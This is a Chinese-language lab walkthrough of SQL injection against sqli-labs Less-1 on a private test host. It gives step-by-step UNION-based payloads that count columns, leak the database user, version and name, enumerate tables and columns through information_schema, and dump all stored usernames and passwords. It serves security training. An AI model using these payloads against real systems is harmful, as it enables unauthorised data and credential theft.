(1)输入地址:http://192.168.193.129/sqlilabs/Less-1/ (2)打开HackBar利用GET传个id=1过去,发现页面出现数据,更改id值页面数据也会随之改变,最大id为12 (3)在id=1后加引号测试,即GET传入id=1’,发现页面报错,该点存在注入 (4)利用order by查看字段数,执行以下语句 注:利用url编码将#编码为%23
http://192.168.193.129/sqlilabs/Less-1/?id=1' order by 1%23
http://192.168.193.129/sqlilabs/Less-1/?id=1' order by 2%23
http://192.168.193.129/sqlilabs/Less-1/?id=1' order by 3%23
http://192.168.193.129/sqlilabs/Less-1/?id=1' order by 4%23
发现4时报错,3、2、1都没有报错,则字段数为3 (5)利用union select联合查询,判断字符回显位置,并爆数据库名,数据库版本,数据库当前用户
传入:id=-1' union select 1,2,3%23
字符回显位置在2,3两个位置点,这里我们选择2位置点
id=-1' union select 1,concat_ws('_',user(),version(),database()),3%23
爆出当前用户为root@localhost,数据库版本为10.5.9-MariaDB-1,当前数据库名为security 注:concat_ws('_',user(),version(),database())函数作用,是执行多个命令,并将输出结果以下划线(_)形式隔开。 (6)利用元数据库来爆出表 传入:
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23
或
id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23
爆出表名为referers、uagents、email、users 注:group_concat 可以将所有的tables 提取出来,information_schema是mysql特有的库,存储各种数据库的信息 (7)接着上一步我们通过查出的表名爆数据 传入:
id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23
爆出users表里的字段 users表里字段为 id,username,password,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS 传入:
id=-1' union select 1,group_concat(username),group_concat(password) from security.users%23
爆出security数据库下的users表中的所用用户名和密码 注:> security.users表示security数据库下的users表